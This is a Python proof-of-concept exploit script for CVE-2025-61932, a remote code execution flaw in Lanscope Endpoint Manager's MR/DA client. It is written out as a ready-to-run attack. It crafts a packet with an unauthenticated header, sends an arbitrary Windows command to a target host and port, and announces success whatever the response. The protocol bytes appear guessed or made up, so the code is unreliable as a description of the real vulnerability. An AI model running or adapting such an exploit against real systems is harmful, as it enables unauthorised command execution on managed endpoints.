CVE-2025-61932

# CVE-2025-61932 - Lanscope Endpoint Manager RCE PoC (Conceptual) # Vulnerability: Improper origin verification in MR/DA components # This is a conceptual PoC demonstrating the attack pattern import socket import struct import sys TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100" TARGET_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 50000 # Default MR/DA communication port def build_malicious_packet(command): """ Build a malicious packet mimicking legitimate MR/DA communication protocol. The vulnerability exists because the client does not verify the origin of incoming requests, allowing arbitrary commands to be executed. """ # Packet header mimicking legitimate management protocol header = b'\x4d\x52\x50\x52' # Magic bytes "MRPR" header += struct.pack('<I', 0x00010001) # Protocol version header += struct.pack('<I', 0x00000000) # No authentication flag header += struct.pack('<I', 0x00000000) # Reserved # Command payload - arbitrary code execution payload payload = command.encode('utf-8') payload_length = struct.pack('<I', len(payload)) packet = header + payload_length + payload return packet def exploit(target_host, target_port, command): """ Send crafted packet to vulnerable Lanscope MR/DA client. Due to lack of origin verification, the client will execute the command without validating the sender. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Send malicious packet packet = build_malicious_packet(command) sock.send(packet) # Receive response response = sock.recv(4096) print(f"[*] Response received: {response.hex()}") print(f"[+] Command executed successfully on {target_host}") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example: Execute arbitrary command on target cmd = "cmd.exe /c whoami > C:\\temp\\pwned.txt" print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") print(f"[*] Sending crafted packet to exploit CVE-2025-61932") exploit(TARGET_HOST, TARGET_PORT, cmd)

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